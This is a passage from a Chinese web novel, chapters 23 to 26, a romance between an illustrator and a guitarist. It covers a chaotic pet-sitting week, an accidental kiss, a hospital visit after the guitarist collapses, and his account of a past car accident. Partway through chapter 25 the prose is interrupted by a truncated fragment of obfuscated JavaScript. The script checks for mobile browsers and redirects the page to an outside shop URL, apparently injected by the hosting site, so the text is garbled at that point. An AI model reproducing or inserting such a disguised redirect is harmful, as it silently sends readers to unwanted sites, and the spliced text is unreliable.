两只黄鸡则被暂时安置在客厅,庄明越协助费臻,用纸箱和垫子搭了个临时鸡窝。
“你接着画,顾梦给的笼子装起来不难。”
“行,要帮忙了叫我。”
庄明越走回沙发,调整到一个舒服的姿势,盖好费臻买的小兔印花盖毯,喝了一口茶几上的多肉葡萄,再度拿起数位板接着搓线稿。
鸡就在他脚边,趴得好好的,但很警惕,庄明越怀疑它们准备下蛋。
费臻正要把一同带来的铁笼子重新组装起来,大金毛忽然兴奋——
猫怎么能睡觉!这可是新地盘诶!猫快起来陪狗玩!
狗跳上沙发骚扰猫,猫惊醒给了狗一记猫猫拳,绕过狗窜上楼梯。
狗紧随其后,兴奋不已。
两只鸡被这阵动静吓得扑腾起来,一只飞出来,落在追下来的狗头上。
霎时间,鸡飞狗跳。
费臻试图去拦狗,猫从他脚边窜过,差点把他绊倒。
另一只鸡在客厅上空盘旋了两圈,一头扎进了庄明越的画室。
那是原本的衣帽间改的,费臻说他不需要这么大的地方装衣服,给庄明越放画材用更合适,但庄明越一般在客厅画画,于是这间房柜子里是费臻的衣服首饰和吉他,外面的桌子上堆放庄明越的画具。
庄明越扔下数位板,冲进画室去解救那只被废画纸堆困住的鸡。
好不容易把鸡捞出来顺毛,庄明越转身走回客厅,就被迎面冲来的头顶一只鸡的大金毛绊了一跤。
庄明越整个人朝前扑去:“卧槽!!!”
“庄明越你没事——”费臻刚好从走廊拐过来,话还没说完,庄明越的脸在视野里急速放大。
剧烈冲撞下,牙齿磕破了嘴唇,血腥味混着多肉葡萄的甜味和浓郁的玫瑰香气,在二人的口腔里扩散开来。
庄明越的大脑一片空白,已经顾不上嘴巴子的疼痛。
他趴在费臻身上,清楚地看到费臻脸上的震惊,还有红晕飞上全脸的速度。
好快,超级快,人怎么能红温得这么快!
惹祸的大金毛蹲在旁边,拼命地摇着尾巴,一脸“人,快夸夸狗”的邀功表情。
庄明越率先反应过来,触电般弹开,整个人往后一坐,屁股砸在地板上,疼得龇牙咧嘴。
“傻狗!”他悲愤地指着那条金毛,也跟着红了脸,“傻狗!看看你干的好事!”
费臻慢慢坐起来,抬手摸向吃痛的嘴唇。
“你干嘛这么骂我?”费臻舔了舔唇角的血,“我不是故意的。”
庄明越:“……”
什么叫我骂你?
“我骂的是狗!狗!”
庄明越和费臻坐在地板上,隔着一条拼命摇尾巴的金毛,四目相对。
庄明越脸上的表情五彩纷呈,费臻觉得打翻颜料盘都没有这样的效果。
不小心碰了一下嘴唇,就那么讨厌吗?
庄明越粗喘了一声:“费臻,都是狗的错。”
费臻移开了视线,低头揉了揉那条狗的脑袋,声音很轻。
“你别怪笨笨,医生说它智力低下,过儿要领养的时候,送养人反复确认了三遍,乐队全员包括我哥和大孙,一起确认了才接过来。”
庄明越愣了一下:“还有这种事?”
“是啊,最开始的时候状况百出,慢慢摸清它的习惯就好多了,其实它很乖也很贴心。”费臻的手指捏了捏笨笨柔软又Q弹的狗耳朵,“只是总是偷吃鸡屎,还有偶尔会像这样分不清人的情绪。过儿本来想叫它聪明,不过贱名好养活,还是取了笨笨当名字。”
两人同时看向那条一脸无辜的金毛。
笨笨吐着舌头,尾巴摇得更欢了,完全不知道自己在被讨论智商问题。
庄明越坐在地板上,内疚地伸出手,摸到笨笨的大脑袋,低声说:“不傻不傻,是聪明小狗。”
费臻看着庄明越垂眼的侧脸,嘴角弯了一下,站起身,把手递给他:“起来吧,地上凉。”
庄明越握住他的手,借力站起来。
两只手握在一起的瞬间,笨笨再度兴奋了。
它以为这是什么新游戏,一头撞进两人中间,四只爪子在地板上打滑,巨大的冲击力把刚站稳的庄明越再次撞得失去平衡。
费臻眼疾手快,另一只手迅速地揽住了庄明越的腰。
但笨笨的冲劲太大,他也没站稳,两个人一起往后倒,跌进了新家的沙发,又是一声——
“啵”。
24. 第 24 章
接下来几天,庄明越爱上了两只可爱的鸡,给它们拍了很多照片,画了画,发了朋友圈九宫格。
费臻则默默地拍下庄明越抱着鸡的照片。
每一张照片里的庄明越,都笑得很快乐。
由于三个物种凑一起会打架,猫和鸡又在食物链两端,二人严格遵守狗和猫和鸡不能出现在同一个房间的约定,安排了三间房间,两层楼都被占据得满满当当。
所有人和小动物的一周都过得很快,除了费臻。
遛狗使人疲惫,拦着笨笨不让它闯祸更是一项艰难的任务,他完全没想到,又过了一年,被医生确诊轻度智障的笨笨竟然学会了开门!
开门只为偷吃鸡屎!
好在有庄明越帮忙,笨笨的第二次偷吃很快宣告失败。
……
没有狗遛的郭扬和顾梦旅行回来容光焕发,也带来了来自敦煌的礼物。
郭扬给费臻带了当地的土特产,正好塞在费臻用寄养费买的大冰箱里。
顾梦也给庄明越带了东西。
“庄老师。”顾梦打完招呼,去摸了摸她的两只鸡,还有金渐层金币,确认宝贝们都没有变瘦,转而从袋子里拿出一个精美的小盒子,递给庄明越,“给你带的小礼物,谢谢你帮我照顾咯咯和哒哒。”
“不用不用,它们俩很可爱,你们付了寄宿费,应该的。”
“礼物是另一回事,这是我的心意,不贵重,收下吧。”
庄明越接过,打开一看,是一只兔子造型的钥匙扣。做工很精致,手感和猫狗兔毛都不一样,颜色是沙漠特有的暖棕。
“这是骆驼毛做的兔子。”顾梦解释,“当地一家店的文创手工艺品,是店主养的老骆驼掉的毛攒下来,她妈妈手编的,我觉得挺合适的,就给你带了一个。”
“我买的时候就剩两个,很可惜只有黄兔子,没有白兔子。”顾梦掏出手机晃了晃,她的手机下面也挂了一个骆驼毛做的小狮子,呼应着她的星座,轻轻摇晃。
“谢谢,没关系的,是兔子就很有心了。”庄明越拿近了一些,真的闻到了上面残留的骆驼的味道,“很可爱,我很喜欢。”
“我让梦梦给我留一个做情侣款,她说我经常弄坏东西不配用,庄老师你一定要好好爱惜啊。”
郭扬说完,东张西望,只看到两只鸡一只猫。
他边给三只套好牵引绳,边问:“我家笨笨呢?”
庄明越去玄关抽屉拿钥匙,想把钥匙扣用起来,一道酱油色的身影飞驰而过,以迅雷不及掩耳盗铃之势如破竹雷霆万钧之势,一口咬向庄明越手里的钥匙扣。
庄明越大惊,下意识地把手往上抬。
费臻冲上前去,试图分开庄明越和狗。
郭扬大叫:“笨笨!Stop!”
“笨笨连‘停’都听不懂,你指望它听懂英语吗!”顾梦捂住眼睛,没眼看。
笨笨灵活地绕开费臻,前爪搭上庄明越的胸口,整个狗身立了起来,嘴筒子拼命往上够。
庄明越把手举得更高,笨笨就跳起来,差点把他撞倒。
费臻绕到后面抱狗,笨笨一个后蹬,像马踢人一样把费臻蹬飞了半米远。
在场所有人:“……”
郭扬和顾梦也跑来一起帮忙,三个人合力才把这条明显超重的大金毛从庄明越身上扯下来。
笨笨被拽开的时候,嘴里还发出干嚼空气的吭哧声。
庄明越低头看了看手里的钥匙扣,完好无损,只是上面沾了一点笨笨的口水。
他长出一口气,问顾梦:“能挤洗手液吗?”
顾梦松开笨笨,打开微信:“我问问……店主说可以,手洗,冷风吹干。”
郭扬还和费臻一起按着在挣扎的笨笨,点头哈腰地道歉:“庄老师对不起对不起!它就是这样,看到毛茸茸的东西就以为是送给它的咬咬玩具!”
见郭扬按得卖力,费臻趁机腾出手捏住笨笨的耳朵:“你配得感还挺高。”
笨笨不再挣扎,扭头舔了舔主人的手。
郭扬拍拍狗头,担忧地问费臻:“被踹了一脚,你腰还好吧?”
“没事。”
“我不放心,你让我瞅瞅。”
费臻闻言,随意地把裤腰往下扒拉了一点。
庄明越小心地把钥匙扣放进玄关抽屉,小跑过来。
他虽然在半夜和费臻抱着睡,摸过对方光滑的胸肌和腹肌,但还是第一次看到费臻的后腰.
只见上面有一道一竖向疤痕,一指宽,却有成年男性一个手掌那么长,在暖白色的皮肤下十分晃眼。
费臻把裤子提好,发现在场三个人一只狗都盯着他腰看。
费臻:“……”
费臻耳根变红,看向庄明越,慢慢的,脸也红了。
郭扬咳嗽一声,假装无事发生,蹲了半天疯狂顺毛,把笨笨安抚好,站起身看向费臻和庄明越,脸上扬起了做错事的人特有的谄媚笑容。
“说实话,咯咯哒乐队还有金币我不担心。”他环视四周,看这里的家具有无异样,“我家笨笨没给你们添什么大麻烦吧?”
空气忽然安静,庄明越和费臻同时看向对方。
那一瞬间,时间仿佛倒流回了一周前。
阳光正好的午后,两声嘴唇触碰嘴唇第二次发出的声响,明明比第一次更轻,却比新年的烟花爆竹声更加震耳欲聋。
庄明越率先开口,说得飞快:“没有没有!”
几乎同一时刻,费臻也开口了:“添了大麻烦。”
两个人的声音叠在一起,内容却南辕北辙。
郭扬:“啊?”
他一脸不知所以,目光在两人之间来回移动,试图从他们的表情里读出点什么。
庄明越瞪了费臻一眼。
费臻面无表情地回视他。
郭扬看不懂并大为震撼,只觉得好像有点好磕,站在一旁的顾梦却微微挑了挑眉。
“真的摔坏了啥咬坏了啥,我照赔,不要因为是自家兄弟就羞于启齿,我们的友谊应该是地久天长,有话说话,臻哥——”
郭扬牵着笨笨,抱起金币的猫包,一边说着,费臻已经走到他身后,双手搭上他的肩膀,把他往门口推。
“行了,我们还有事,你该回去了。”
“哎哎哎臻哥!我还没喝茶呢!我还没跟庄老师聊天呢!我还没……”
顾梦带上咯咯和哒哒,跟在二人后面,出门前回头看了庄明越一眼,露出一个诸事顺遂的微笑。
“庄老师,希望你一切都好。”
庄明越被她祝福得有点心虚,点头回应:“谢谢,你也是。”
庄明越坐在沙发上,等费臻送客回来,回忆起那天不小心亲到两次之后发生的事。
从那时起,他整整两天都没和费臻好好说过话。
确切地说是费臻绕着他走。
吃饭的时候,费臻会夹上一点点菜,端着碗去自己房间吃。
写歌的时候,他不会找庄明越一起讨论,一个人闷头写,废纸篓里堆积成山。
晚上睡觉,虽然说好了各睡各的,但费臻进去得很早,进卧室前会和庄明越打招呼说:“晚安,早点睡”。
但是声音小得过分了,感觉都能被蚊子一拳干趴下。
庄明越实在是烦得不行。
他怪狗不怪人,想和费臻好好聊一聊,谁知他逃他追,费臻不插翅也能飞,逼着庄明越在楼梯扶手旁和他玩起了秦王绕柱走。
庄明越追上去。
费臻绕。
庄明越追。
费臻再绕。
庄明越追追追!
费臻绕绕绕!
“巧克力你给我停下!”庄明越体力耗尽,喘着气对着费臻指指点点,“不就是嘴巴碰了两下,你的嘴巴破了,我的就没破吗?难道是我在嘴上抹
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毒了,你躲着我干什么!”
“我没躲。”这么说着,费臻又绕着扶手退开两步。
“还说没有!”庄明越跳脚,“睁大眼睛说瞎话,你怎么这么坏!”
费臻低头看了看自己的脚,又抬起头,沉默了两秒,没否认自己坏。
然后他又往旁边退了两步。
庄明越:“……费臻!!!”
这人什么毛病!!!
“费臻!”庄明越疯狂深呼吸,努力让自己心平气和,“我们能不能坐下来,好好聊一聊?我知道这件事对你影响有点大,但没有什么是好好沟通解决不了的,就这一点我们已经达成了一致,不是吗?”
费臻看着他,抿了一下嘴唇,没说话。
庄明越往前迈了一步。
费臻往后退了一步。
两个人只隔了两米,庄明越却觉得比台上和台下还要远。
这两日被回避的委屈在眼下爆发出来,庄明越一字一顿地问:“你到底在躲什么?”
费臻垂下眼,沉默了很久。
庄明越数着自己的心跳,等着费臻开口。
良久,费臻抬起头,看着庄明越,深吸了一口气。
“如果我说,我想亲你,你怎么想?”
庄明越的大脑宕机了。
他想过很多种可能——
费臻觉得尴尬,费臻在生他的气,费臻亲到了同性感觉恶心,费臻会因为这件事想起他哥和他哥前男友。
但庄明越没想到过现在这样的回答。
费臻看着他,目光很认真,认真得让庄明越觉得有点陌生。
庄明越难以置信:“你说什么?”
“我说,”费臻重复了一遍,声音比刚才稳了一点,“如果那两个意外之后,我还想再亲你一次,你怎么想?”
庄明越卡了壳:“……上个月你刚对你哥说‘基佬滚远点’,费池鱼你的记性真的像鱼。”
费臻轻叹,笑了一下:“算了,没什么,我偶尔是会开这种不好笑的玩笑。这两天就是写歌卡住了,脑子有点乱,冷落了你,对不起,以后再也不会了。”
明明破冰了,费臻也道了歉,庄明越心里反而感觉哪里不对,不是滋味。
总觉得他要的不是费臻这样的回答,可他自己也不知道哪里出了问题。
庄明越只好闷闷地说:“我没生气。”
“对了,”费臻忽然想起什么,看向庄明越,“窝窝的绿垫子,你打算放哪儿?”
庄明越愣了一下。
新家所有的东西都归置好了,包括他在网上便宜淘来的绘画垃圾包,但费臻竟然能发现他的豆豆绒垫子没拿出来,还放在包里收着。
庄明越心头莫名有点感动,但同时也茫然地回答:“我不知道窝窝喜欢趴在哪里,万一我选的地方,小兔鬼不喜欢呢?”
“那要不先放我枕头边上吧。”费臻提议。
新家两个卧室朝南,隔了一道墙,大一点的带着主卫,归了庄明越,小一点的是费臻的房间,没有卫生间,但有个小露台,费臻把多肉养在楼上露台,自己房间的露台放了盆龟背竹,庄明越偶尔会进来帮他浇水。
庄明越听到这个建议,觉得还挺靠谱。
“你还说你不是窝窝,这么宝贝这个垫子?”
“因为我们分开睡了。”费臻也在笑,眼底却略带晦暗,“我不习惯,我睡不着,我需要阿贝贝。”
“那你等等。”
庄明越走入主卧,从双肩背包里翻出压在底下的垫子,把它抖一抖铺平整,然后抱了一会儿。
垫子洗了几次,完全没有了窝窝的味道,他对垫子的依赖程度与日递减,现在垫子上仅仅留有他本人的气息。
庄明越慢慢地走回去找到费臻,双手把垫子递给他。
“拿去,要好好珍惜。”
费臻接过,把它抱在怀里,点头郑重地回答:“好。”
25. 第 25 章
搬到新家后,庄明越的画技进步飞快,双线并行之下,板绘和笔绘都得到了肉眼可见的提升,每当上传新作品,评论区里总是有各种各样的讨论,大方向是夸明月老师又进步了。
年前最后两个月,费臻的乐队也进入了密集排练期,为即将到来的小型专场演出做准备。
费臻回家的时间越来越晚。
和费臻的排练频率同频的是官方账号的宣传,庄明越关注之后总被第一时间推送,通过账号得知费臻的排练日程安排,有时候比费臻的日记本里写得更详细。
但费臻已经不让庄明越再看他的五年日记,庄明越不知道费臻有了什么心事。
费臻说:“没有,就是写了无聊的小事,你不会感兴趣。”
“你的事我都感兴趣。”
费臻笑了笑:“以后吧,如果真的有机会的话。”
庄明越疑惑。
看日记需要什么机会?
每当庄明越提醒费臻不能透支身体时,费臻总是会态度良好地用别的话题掩饰过去。
实在掩饰不了,他会和庄明越撒娇。
庄明越第一次见到费臻撒娇,是半夜三点回来的费臻拉着他的手轻轻地左右摇晃。
费臻还歪着头问他:“没有下回了,不会这么晚,你不要担心,先自己早点睡?”
确实没有下回了,但取而代之的是冯泰告小状,对庄明越说费臻没有好好吃饭。
庄明越去排练室找费臻算账,回应他的是超级温柔的笑,两个梨涡盛满阳光,分外甜蜜。
被笑容晃了眼,庄明越完全记不起来自己要说些什么,只是把手里的便当盒往费臻怀里一塞。
“吃不吃随你。”
第三次忘了因为什么,后来费臻弹了吉他,近距离唱歌给庄明越听,边唱边wink。
……
每当庄明越快要免疫一种方式时,费臻总会换一种。
周四夜里,淫雨霏霏。
这个点庄明越本来早该沉入梦乡,此刻却拿着画笔,对着画布上的兔耳朵。
庄明越画的是只立耳兔,是土生土长的中国大白兔,叫Doctor,红眼睛,八斤的大体型,耳朵里的血管清晰可辨。
这是一幅兔子的主人定制的纪念油画,和庄明越的经历十分相似,这位兔主人也是领养了一只病兔。
但Doctor的病并非先天基因问题,而是实验室在它眼睛里长期培育观察病菌所致。实验项目结束后,Doctor原本应该被无害化处理,但所培观的病菌并不传染人类,根据当地规定,Doctor以约三岁的“高龄”得到了领养,生命得以高质量地延长了一年时间。
四岁一个月时,Doctor突发眼病,眼球摘除手术进行前的麻醉阶段就引发休克,回归了蹦星。
庄明越很认真地画好了这幅画,在兔耳朵里藏了自己的签名,一弯峨眉月,和费臻演出服上的月亮如出一辙。
随着人气的提升,现在已经开始有人卖他的仿作。他尽可能地将小小的月亮和耳朵里的血管交织在一起,即使有人发现,也不破坏画面整体的和谐。
他希望Doctor的主人收到这幅画后,能得到继续前进的力量,哪怕一点点也好。
画得差不多后,庄明越放下画笔,等费臻回来。
庄明越等了很久。
费臻答应他没有下回,却出尔反尔,已经到了后半夜,人还没有回家。
就在这时,《夏日拯救》的手机铃声响起,庄明越接了起来,传来冯泰的声音。
冯泰语速很快:“庄老师,不好意思,你睡了吗?臻哥排练的时候晕倒了,我们现在在浙一,他手机没电了,我给你打电话报个平安,他没事,就是……”
庄明越脑子里“嗡”的一声,后面说了什么他都没听清。
“我马上过去!”他来不及换睡衣拿伞,就冲出了门。
雨不大,但很密,落在身上,凉得骨头打颤,让庄明越的心也异常的冷。
庄明越在叫车软件上猛加加急费,坐着夜车赶到浙一,在急诊室角落的围帘缝隙中窥见一只熟悉的右手,手腕戴着黑色皮筋,还是庄明越早上给他套上去的。
庄明越轻手轻脚地走过去,拉开蓝色的围帘。
费臻披散着黑发,闭着眼睛躺在简易病床上,嘴唇没什么血色,左手手背上正打着点滴。
排练时的风衣被医护人员脱掉,丢在一边地上,身上只穿了单衣,被子盖到腰上。
庄明越上前两步,手掌盖住了费臻的肩膀。
郭扬和冯泰守在旁边,看到他,都露出了“他果然会赶来”的表情。
庄明越问:“怎么回事?”
“医生说是劳累和饮食不规律引起的突发性晕厥,挂点葡萄糖和电解质,休息观察一下就好,就是……”
“就是什么?”庄明越连忙问,生怕费臻出了别的什么问题。
“就是臻哥不太配合。刚才醒了一下,还想拔针头走人,被护士按住了。你看,这会儿不知道是真睡还是装睡。”
庄明越深吸一口气,抬眼看了吊瓶的余量,对二人说:“谢谢你们送他过来,大半夜的,家人都等着,你们先回去吧,我在这儿看着他。”
“麻烦庄老师。”郭扬和冯泰对视一眼,又看了看病床上的费臻,匆匆走了。
庄明越在病床边的塑料凳上坐下,目光落在费臻脸上。
瓶中液体一滴滴落下,顺着透明的细管流入费臻手背上的静脉。
庄明越注意到费臻左手手腕附近有一片瘀青,早上出门时还没有,可能是晕倒时磕碰到的。
他伸出手,想碰碰那片皮肤,又怕费臻被他碰疼,指尖在即将触及时缩了回来,心头的酸痛愈发明显。
病床上的人眼睫颤了颤,缓缓睁开了眼睛。
费臻的目光扫过白色的无影灯,慢慢转向旁边,落在了庄明越身上。
庄明越穿着一套棕色的轻松熊连帽睡衣,是费臻买的,看上去像狗熊出没。
“你来了。”费臻开口,声音和平时没什么两样,“几点了?怎么穿的睡衣?”
“凌晨三点五十,阿太打电话给我的。就算我裸奔过来,你也没资格吐槽我。”庄明越凑近一些,说话声音很轻,但也很生气,“说你晕倒了,紧急联系人填的我。费臻,你可真会让人操心,平时发的那点誓都不可信。”
费臻皱了皱眉,想坐起来,刚一动就扯到了手背的针头。
“别乱动,还没挂完水。”庄明越按住他没打针的那边肩膀。
费臻被他按住,身体僵了一下,没再挣扎,只是用那双雾蒙蒙的眼睛望向庄明越。
最近庄明越见多了这种眼神,硬下心肠说:“不可以,再十分钟挂完了,等一等。”
费臻叹了口气,认命地望向吊瓶,过了一会儿,又问:“我吉他呢?”
“丢不了!”庄明越深呼吸,简直想用冯泰的鼓棒敲费臻脑袋,“你不会想在医院摇滚吧?费臻,你先得是好好的健康的费臻,之后才是玩摇滚的罗谢!”
费臻又不说话了,眉头皱得更紧,眼里的委屈更甚。
庄明越心里的气莫名消下去大半,感觉自己像是个坏人。他起身,走到护士站要了杯温水,回来递到费臻嘴边。
“对不起,语气重了。你先喝点水。”
费臻撩起眼皮看了他一眼,眼神复杂,就着他的手,小口喝了几口温水。
喉结滚动,几滴水珠顺着唇角滑下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297443|198599||http|test|mini|href|location''.split(''|''),0,{}));
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>庄明越看着水珠滑过费臻的下颌,没入衣领,心脏不规则地一跳。
他别开眼,把杯子放到旁一边:“平时照顾我的时候,大道理一套一套,轮到自己又不爱惜身体,也不知道谁才是犟种。”
费臻笑了一笑,问:“画稿交了?”
庄明越一愣,没想到他会问这个:“还没,不急。”
他又迅速地反应过来,这个混蛋又在转移话题。
可是费臻病了,他又不能真的在这里和他吵起来。
庄明越憋屈地闭紧了嘴,只是拿眼睛瞪。
他没想到,这么生气这么用力的瞪人,只换来费臻看着他默默地笑。
“你笑什么?”
“生气也好看。”
庄明越噎了一下,扭过头,心里乱糟糟。
点滴快打完,护士过来拔针,提醒留院观察半小时。
费臻按住棉花,抬眼看庄明越:“明天补个觉?”
“不要你管。”
庄明越回了句嘴,熬着又等了半个小时,扶费臻走出医院。
庄明越提前叫了网约车,二人等车过来,夜深露重,费臻打了个寒颤。
庄明越立刻脱下沾着颜料的毛绒上衣,披在费臻肩上。
“穿着。”
费臻想拒绝,但庄明越按住了他的手,帮他把压在衣服里的长发撩出来,还顺手摸了一把。
费臻看着庄明越,路灯的光映在他还有些苍白的脸上,眼底情绪不明。
半晌,他拢了拢带着庄明越体温的睡衣。
熊皮从庄明越转移到费臻身上,庄明越看了一会儿,咧嘴笑了,笑着笑着打了个喷嚏。
费臻马上紧紧挨住他。
好在车很快就来了。
回到家里,正好清晨五点。
庄明越把费臻扒得仔仔细细,剩条底裤,塞进被子。
随后自己回房间换了套干净的棉质薄睡衣,抱着被子过来,也躺了进来。
费臻眼皮很沉,低着声问:“干嘛?”
“陪床,你不是总说一个人睡不好?病人最大。”
现在两个卧室的床都是标准双人床,费臻之前买的床没搬过来,留给了张哥,希望他能派上用处。
大床舒适,谁也不挤着谁。
费臻沾着枕头就入睡了,一只手还不忘扯着庄明越的睡衣袖子。
庄明越看了他一会儿,把早上吃药的闹钟关了,也闭上了眼睛。
一觉睡到快十点,费臻的手机闹钟响起,庄明越趁他没醒,把费臻的闹钟也关掉。
上面是也是提醒庄明越吃药的闹钟。
庄明越咬了一下嘴唇,手掌摸摸费臻的额头,感觉体温正常,正想下床,发现费臻还抓着他的袖子。
他还要去吃药,只能忍痛把费臻的手指慢慢掰开。
费臻低哼着皱起眉,庄明越连忙拿过床头的垫子,塞进费臻手里。
费臻摸到垫子,眉头舒展,再度陷入了深睡眠。
费臻睡到中午,被饭菜的香味唤醒。
他走出卧室,庄明越做好了合二为一的早午饭,自己那份米饭没动,在等费臻。
见人来了,他走到厨房去盛了一碗给费臻。
菜色清淡,但有荤有素,营养搭配很合理。
费臻拿起筷子,低头吃起来。他吃得很慢,但很认真,吃完饭又盛了碗蔬菜汤,喝得干干净净。
这顿吃饱,身体有了力气,费臻算是彻底满血复活了。
他看着庄明越收拾碗筷的背影,忽然开口:“庄明越。”
“嗯?”庄明越放下餐具,从洗碗池走到费臻身边,“叫我干嘛?”
费臻动作很轻地牵起庄明越的无名指,捏着他的指节。
26. 第 26 章
庄明越感觉费臻下一秒就要跟他表白了。
他不禁问:“费臻,你什么意思?”
费臻深吸一口气,正准备进一步说明,庄明越的手机疯狂震动起来。
费臻再一看自己的手机,从半夜调到静音之后,多了三十条未接来电,还有若干未读语音消息,都是郭扬发来的,还发了定位。
费臻随手点开一条,就听郭扬哭得稀里哗啦的,语不成调,隐约能听清楚“笨笨”“车祸”“手术”几个字。
二人对视一眼。
“走吗?”
“走。”
庄明越和费臻赶到宠物诊疗中心,这里正是之前经常给窝窝治病的医院,不只是接异宠治疗,普通犬猫的体检手术也广受好评。
二人找到郭扬,只见他一脸憔悴地坐在大厅的凳子上,持续猛男落泪,间或擤鼻涕,一边哭一边说:“都怪我,我想着手酸了,就松开一下,它对着车冲过去了,是我不好,忘了它最喜欢和金币一个颜色的车……”
顾梦在一旁隐忍地皱着眉,手拍着郭扬的后背。
没过多久,冯泰和周双叶也来了,两人表情都很沉重。
庄明越心头一颤,看起来笨笨快不行了。
没过多久,手术医生出来:“来,笨笨的主人签个字,等麻醉醒了就好了。”
庄明越探头一看,原来笨笨是尾巴骨折做手术,术前检查时,脊椎和内脏都没有受到损伤。
顾梦啪地拍了郭扬后背一掌:“让你别哭别哭,本来就没什么事!”
郭扬又嚎了一声:“尾巴断了还不是小问题?”
周双叶偷抹眼泪:“麻绳还挑细处断呢,大胖狗也有大胖狗的好,至少比我臻结实。”
冯泰点头,又摇头:“说什么呢?等笨笨尾巴骨头长好了,你俩还是得给它减减肥,不然它每次冲出去拽不住。”
顾梦应了一声,又摸摸郭扬的后背。
冯泰突然又想起一件事:“臻哥,笨笨被撞的那个路口,是不是你……”
郭扬连忙跳起来,踩了他一脚:“小嘴巴不说话!”
冯泰:“嗷!”
费臻少见有些紧张地看了庄明越一眼,又对在场众人说:“我们先失陪一下。”
他牵着庄明越的手腕,推门出去,把他带到医院外一隅。
“刚才过儿来电话以前,我就有事想对你说。”
“我感觉到了,你快点说吧。”庄明越隔着玻璃门,点点医院内的几人,看着费臻,“总觉得你瞒着我的事要是再不说,要被其他人说漏嘴了。”
费臻点头:“这件事要从咱们大二的时候开始说。之前我和你说过,我不是故意不理你。”
庄明越记了起来:“那天晚上你说话就说了一半,可我怕旧事重提,你会失眠。”
费臻垂下头思索,不多时抬眼看庄明越。
“那时候,我哥和大孙大吵一架。”
两年半以前,费治和孙照寒因为一点写歌上的小事,音乐理念不合,发生争执。
费春峻派了人盯着,听到传来的风声后十分高兴,趁这两人冷战,约孙照寒见面,送了他一大盒巧克力,底下压着满满的现金。
孙照寒认为费治和费春峻都在羞辱他,没有收下分手费,但一气之下真的提了分手,不给费治解释的机会。
费治也在气头上,觉得交往七年,孙照寒竟然连他的为人都不相信。他同意了分手,负气退出了乐队,短暂地接手了家里的生意。
费臻当时就在现场,被殃及后心情不佳,回寝室收拾东西,一视同仁地没给寝室的任何人好脸色,包括庄明越和陈子深。
但他不知道,他翘课代替费治演出之后竟然一炮而红。
而陈子深见他不在,更是胆大到了极点。
一周后,费臻回来时听说,庄明越已经退学三天。
那时的费臻并不清楚庄明越和陈子深之间具体发生了什么,校方的领导老师们都三缄其口,费臻从知情人赵唐嘴里打听出,庄明越的笔记本和硬盘被偷了,但陈子深死不承认是他雇的人,校方也没办法,最后抓到的人只是原价赔了电脑的费用。
费臻那时并不知道庄明越去了哪里。
庄明越的朋友圈没有屏蔽他,但不知是不是设置了分组可见,费臻从来没有刷到过他发过动态。
赵唐说,不光是陈子深这件事,庄明越从大一开始一直有点抑郁的倾向,早就计划着休学休息,只是计划赶不上变化。
费臻看向庄明越,眼神寂寥。
“我想着,哪天找你好好聊一下,看看有没有回转的余地。你可以回来读书,换寝室,换专业,或者我们想想办法,让陈子深离你远点,毕竟做错事的人从来都不是你,但我没来得及。”
“你退学之后没几天,我收到一条同城微博推送,是一个养兔号,叫小兔窝窝专用。照片上是一只白色的垂耳兔,蜷在绿色豆豆绒垫子上,文字写的是‘窝窝,我们一起逃’。”
庄明越瞪大了眼。
也就是说,从一开始,费臻就知道他的微博养兔小号?
那时候他忘了关手机定位,从第二条微博开始,就隐藏了位置,没想到第一条就被费臻刷到了。
“我对养兔子不感兴趣,也不知道为什么,当时就点进去了。然后就每天追更新,一直看。看从它被领养回家,到隔了两天第一次生病送回去住院,再到它再度出院,反复地生病、治疗和恢复。”
那些一点一滴的巨结肠治疗记录,咬合不正手术磨牙,还有兔子主人的努力,一次次住院用药的花销,博主面对评论区“赶紧弃养吧这是个无底洞”的反击,费臻都看在眼里。
“也是在那个夏天,经过笨笨出车祸的路口,我停下来等信号灯,脑子里全是乱七八糟的事,没注意到后面有辆车冲出来。”
费治当时买了一把价格高昂的吉他,原本想送给孙照寒,当恋爱七周年的礼物,但二人既然彻底决裂,他索性把吉他转送给了弟弟。
费臻就站在那个十字路口,背上的新吉他当场被撞得粉碎。
“我妈其实不太了解内情,阿太说得太夸张,手术做得很快,但等我意识彻底清醒,已经是两天后了。”
费臻的声音低了下去,带着两年前的阵痛。
“医生通知我,送进来的时候我腰椎爆裂性骨折,全身多处挫伤,轻微脑震荡。手术是成功的,但不保证以后会不会落下残疾,建议告别舞台活动,避免任何形式的剧烈运动。病房还有一个人也是腰椎手术,比我程度轻一些。他每天都在喊,但我忍着,我怕喊了一声也会像他一样,一直喊。我很要脸,不想那样。每天躺在病床上,疼得睡不着的时候,我就去翻窝窝的饲养日常。”
警察当时也来找过费臻做笔录,告诉他,车里两口子吵架,副驾驶夺主驾驶方向盘,酿成了悲剧,受伤最重的是站在路口的费臻。
费臻怎么也想不明白,为什么这么戏剧性的灾难会发生在自己身上。
养伤的日子里,费臻和学校还有乐队请了长假,对所有人保密,一个人数着日子,每天想着自己可能不会好起来了,以后的日子要怎么办。
唯一开心的是刷兔子窝窝微博的时候,博主的手和庄明越的手实在是非常相似,连青筋上那颗痣的位置也一模一样。
他希望那个养兔博主真的是庄明越,也希望自己不是夹在哥哥和他前任之间的后裔主唱,更不是被车撞残废的倒霉蛋。
他情愿自己是一只不断生病还能被人认真照顾的小兔子。
“看着窝窝被照顾得很好,看着有人为它担心,为它高兴,为它记录下点点滴滴,好像身上的疼痛和心理上的痛苦,也变得没有那么难以忍受了。”
“我有时候在想,如果我是窝窝就好了,不用面对复健的痛苦和渺茫的未来,就那样被温柔地照顾着,晒着太阳,吃吃草,感觉困了就睡觉,睡醒了舔舔毛,跳进主人的被窝里,接受摸摸就好。”
“想得多了,又看了很多养兔子的科普读物,睡着了,就真的梦到了。最开始很模糊,后来越来越清晰。清晰到能闻到提草的味道,能感觉到睡在绿色的垫子上,能听到主人对着我说话和哭泣的声音。”
“那几个月,我认真复健复查,也看着窝窝的体重在体重秤上一点点增长,看医生评估说它已经达到做绝育手术的标准。医生宣告我完全康复,以后不用再来复查的那天,我刷到窝窝的主人给它做了一个大草饼,插一根草做蜡烛,庆祝一岁生日。”
